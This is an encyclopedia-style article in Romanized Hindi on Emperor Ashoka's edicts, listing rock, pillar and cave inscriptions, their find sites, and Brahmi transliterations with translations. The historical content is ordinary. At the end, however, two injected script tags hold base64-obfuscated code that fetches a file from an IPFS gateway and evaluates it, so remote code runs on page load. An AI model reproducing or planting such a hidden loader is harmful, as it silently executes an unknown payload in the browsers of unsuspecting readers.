अशोक के शिलालेख

ashok vishay soochi

ashok    jivan parichay    shasan kshetr    kalakram    dhamm    shilalekh    parivar    vistrit lekh

[[chitr:Ashokthegreat1.jpg|thumb| ashok ke chitr ki pratilipi]] maury samrat ashok ke itihas ki sampoorn janakari usake abhilekhoan se milati hai. yah mana jata hai ki, ashok ko abhilekhoan ki prerana eeran ke shasak 'deriyas' se mili thi. ashok ke lagabhag 40 abhilekh prapt hue haian. ye brahmi, kharoshthi aur armeik-grik lipiyoan mean likhe gaye haian. samrat ashok ke brahmi lipi mean likhit sandesh ko sarvapratham elegjeandar kaniangham ke sahakarmi jems priansep ne padha tha. ashok ke abhilekhoan ko tin bhagoan mean vibhajit kiya ja sakata hai-

1. shilalekh
2. stambhalekh
3. guhalekh

• shilalekhoan aur stambh lekhoan ko do upashreniyoan mean rakha jata hai. 14 shilalekh silasilevar haian, jinako chaturdash shilalekh kaha jata hai. ye shilalekh shahabajagadhi, manasera, kalasi, giranar, sopara, dhauli aur jaugadh mean mile haian. kuchh phutakar shilalekh asambaddh roop mean haian aur sankshipt haian. shayad isilie unhean laghu shilalekh kaha jata hai. is prakar ke shilalekh roopanath, sasaram, bairat, maski, siddhapur, jatiangarameshvar aur brahmagiri mean paye gaye haian.
• doosari shreni ke laghu shilalekh bairat, yeragu di aur kopabal mean mile haian. do any laghu shilalekh abhi hal mean hi afaganistan mean - ek jalalabad mean aur doosara kandhar ke nikat mila hai.
• isake alava sat lekh stambhoan par utkirn haian, jisake karan vah stambh lekh ke nam se prasiddh haian. ye stambh lekh dilli, ilahabad, lauriya - araraj, lauriya nandanagadh aur ramapurava mean mile haian. kuchh stambhoan par keval ek ek lekh hai, at: unhean sat stambh lekhoan ke kram se alag rakha gaya hai aur ve laghustambh lekh kahe jate haian. is prakar ke laghu stambhalekh saranath, saanhi, rumminadeh aur nigliv mean mile haian.
• aantim tin lekh barabar paha diyoan ki guphaoan mean mile haian aur unako guphalekhoan ke nam se pukara jata hai.

shilalekhoan mean ashok

any sanbandhit lekh brahmi lipi ashok ke shilalekh brahmi lipi ashok kal

mauryakal ke shilaoan tatha stanbhoan par utkirn lekhoan ke anushilan se ham is nishkarsh par pahuanchate haian ki ashok ka dhamm vyavaharik phalamoolak (arthath phal ko drishti mean rakhane vala) aur atyadhik manaviy tha. is dharm ke prachar se ashok apane samrajy ke logoan mean tatha bahar achchhe jivan ke adarsh ko charitarth karana chahata tha. isake lie usane jahaan kuchh batean lakar bauddh dharm mean sudhar kiya vahaan logoan ko dharm parivartan ke lie vivash nahian kiya. vastutah usane apane shasanakal mean nirantar yah prayas kiya ki praja ke sabhi vargoan aur sampradayoan ke bich sahamati ka adhar dhooandha jae aur samany adhar ke anusar niti apanaee jae.

• satavean shilalekh mean ashok ne kaha, "sabhi sampraday sabhi sthanoan mean rah sakate haian, kyoanki sabhi atmasanyam aur bhavashuddhi chahate haian."
• barahavean shilalekh mean usane ghoshana ki ki ashok sabhi sampradayoan ke grihasth aur shravanoan ka dan adi ke dvara samman karata hai. kintu maharaj dan aur man ko itana mahattv nahian dete jitana is bat ko dete haian ki sabhi sampraday ke logoan mean saravriddhi ho, saravriddhi ke lie moolamantr hai vakasanyam (vacho gutti). logoan ko apane sampraday ki prashansa tatha doosare sampradayoan ki ninda nahian karani chahie. logoan mean sahamati (samavay) badhane ke lie dhamm mahapatr tatha any karmachariyoan ko lagaya gaya hai.
• ashok par yah arop lagaya gaya hai ki usane apane adesh (lekh) keval bauddh dharm ke prachar-prasar ke lie khudavaye haian par yah vichar nyayasangat nahian hai, kyoanki usane sabhi sampradayoan ko prakat roop se sahayata di.

ashok ke chaturdash-shilalekh ya mukhy shilalekh nimnalikhit sthanoan par pae jate hai :

1. giranar : saurashtr, gujarat rajy mean joonagadh ke pas. isi chattan par shak mahakshatrap rudradaman ne lagabhag 150 ee. mean sanskrit bhasha mean ek lekh khudavaya. bad mean gupt-samrat skandagupt (455-67 ee.) ne bhi yahaan ek lekh aankit karavaya. chandragupt maury ne yahaan 'sudarshan' nam ke ek sarovar ka nirman karavaya tha. rudradaman tatha skandagupt ke lekhoan mean isi surdashan sarovar ke punarnirman ki charcha hai.
2. kalasi : deharadoon zila, uttarakhand.
3. sopara : (prachin soopparak) thane zila, maharashtr. yahaan se ashok ke shilalekh ke kuchh tuk de hi mile haian, jo muanbee ke prins aph vels sangrahalay mean rakhe hue haian.
4. yerragudi : karnool zila, aandhr pradesh.
5. dhauli : puri zila, u disa.
6. jaug d : ganjam zila, u disa.

• laghu-shilalekh nimn sthanoan par pae ge haian:

1. bairat : rajasthan ke jayapur zile mean. yah shilaphalak kalakatta sangrahalay mean hai.
2. roopanath: jabalapur zila, madhy pradesh.
3. maski : rayachoor zila, karnatak.
4. gujarra : datiya zila, madhy pradesh.
5. rajulamandagiri : ballari zila, karnatak.
6. sahasaram : shahabad zila, bihar.
7. gadhimath : rayachoor zila, karnatak.
8. palkiguandu : gavimat ke pas, rayachoor, karnatak.
9. brahmagiri : chitradurg zila, karnatak.
10. siddhapur : chitradurg zila, karnatak.
11. jatianga rameshvar : chitradurg zila, karnatak.
12. yerragudi : karnool zila, aandhr pradesh.
13. dilli : amar k aauloni, dilli.
14. aharaura : mirzapur zila, uttar pradesh.

• ye sabhi laghu-shilalekh ashok ne apane rajakarmachariyoan ko sanbodhit karake likhavae haian. ashok ne sabase pahale laghu-shilalekh hi khudavae the, isalie inaki shaili usake any lekhoan se kuchh bhinn hai.

ashok ke brahmi lekhoan ke kuchh namoone de rahe haian- lipyantar aur arth-sahit.

300px|brahmi lipi rumminadeee ke ashok-stanbh par khuda hua yah lekh brahmi lipi mean hai aur baeean or se daeean or ko padha jata hai :

lipyantar

1. devanan piyen piyadasin lajin visativasabhisiten
2. atan agach mahiyite hid budhe jate sakyamuniti
3. silavigadabhicha kalapit silathabhe ch usapapite
4. hid bhagavan jateti luanminigame ubalike kate
5. athabhagiye ch

arth :

1. devataoan ke priy priyadarshi raja ne (apane) rajyabhishek ke 20 varsh bad svayan akar is sthan ki pooja ki,
2. kyoanki yahaan shakyamuni buddh ka janm hua tha.
3. yahaan patthar ki ek divar banavaee gee aur patthar ka ek stanbh kh da kiya gaya.
4. buddh bhagavan yahaan janame the, isalie lumbini gram ko kar se mukt kar diya gaya aur
5. (paidavar ka) athavaan bhag bhi (jo raj ka hak tha) usi gram ko de diya gaya hai.

300px|brahmi lipi ashok ka giranar ka pratham shilalekh

lipyantar

1. iyan dhanmalipi devananpriyen
2. priyadasina raja lekhapita [.] idh n kian
3. chi jivan arabhitpa prajoohitavyan [.]
4. n ch samajo katavyo [.] bahukan hi dosan
5. samajamhi pasati devananpriyo priyadasi raja [.]
6. asti pi tu ekacha samaja sadhumata devanan
7. priyas priyadasino rano [.] pura mahanasamhi
8. devananpriyas priyadasino rano anudivasan b
9. hooni pranasatasahastrani arabhisu soopathay [.]
10. se aj yada ayan dhanmalipi likhita ti ev pra
11. na arabhare soopathay dvo mora eko mago so pi
12. mago n dhruvo [.] ete pi tri prana pachha n arabhisare [॥]

arth

1. yah dharmalipi devataoan ke priy
2. priyadarshi raja ne likhaee. yahaan (mere samrajy mean)
3. koee jiv marakar havan n kiya jae.
4. aur n samaj (amod-pramod vala utsav) kiya jae. kyoanki bahut dosh
5. samaj mean devataoan ka priy priyadarshi raja dekhata hai.
6. (parantu) ek prakar ke (aise) samaj bhi haian jo devataoan ke
7. priy priyadarshi raja ke mat mean sadhu haian. pahale pakashala mean-
8. devataoan ke priy priyadarshi raja ki – pratidin kee
9. lakh prani soop ke lie mare jate the.
10. kiantu aj jab yah dharmalipi likhaee gee, tin hi prani
11. mare jate- do mayoor tatha ek mrig. aur vah bhi
12. mrig nishchit nahian. ye tin prani bhi bad mean nahian mare jaeange.

300px|brahmi lipi ashok ka giranar ka dvitiy shilalekh

lipyantar

1. sarvat vijitamhi devananpriyas piyadasino rano
2. evamapi prachanteshu yatha choda pada satiyaputo ketalaputo a tanb-
3. panni aantiyako yonaraja ye va pi tas aantiyakas samipan
4. rajano sarvatr devananpriyas priyadasino rano dve chikichh kata
5. manusachikichha ch pasuchikichha ch [.] osudhani ch yani manusopagani ch
6. pasopagani ch yat yat nasti sarvat harapitani ch ropapitani ch [.]
7. moolani ch phalani ch yat tatr nasti sarvat harapitani ch ropapitani ch [.]
8. panthesoo koopa ch khanapita vrachha ch ropapita paribhogay pasumanusanan [॥]

arthath

1. devataoan ke priy priyadarshi raja ne apane rajy mean sab jagah aur
2. simavarti rajy- cho d, paandy, satiyaputr, keralaputr tatha tamraparni (shrilanka)- tak
3. aur aantiyok yavanaraj tatha us aantiyok ke jo p dosi raja haian,
4. un sabake rajyoan mean devataoan ke priy priyadarshi raja ne do prakar ki chikitsa ka prabandh kiya hai-
5. manushyoan ki chikitsa ke lie aur pashuoan ki chikitsa ke lie.
6. manushyoan aur pashuoan ke lie jahaan-jahaan aushadhiyaan nahian thian vahaan-vahaan laee aur ropi gee haian.
7. isi prakar, jahaan-jahaan mool v phal nahian the vahaan-vahaan lae aur rope ge haian.
8. margoan par manushyoan tatha pashuoan ke aram ke lie kuean khudavae ge haian aur vriksh lagae ge haian.

300px|brahmi lipi ashok ka barabar gufalekh (dvitiy)

lipyantar :

1. lajina piyadasina duva
2. dasavasabhisitena iyan
3. kubha khalatik pavatasi
4. dina (ajivi) kehi

(ashok ke barabar gufa ke pratham aur is dvitiy lekh mean, lagata hai, kisi ne bad mean 'ajivikehi' shabd mitane ki koshish ki hai. ashok-pautr dasharath ke nagarjuni gufa ke pratham lekh mean bhi aisa hi hua hai.)
arth:
dvadash varsh se abhishikt raja priyadarshi ne khalatik parvat par (sthit) yah gufa ajiviko ko pradan ki.

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>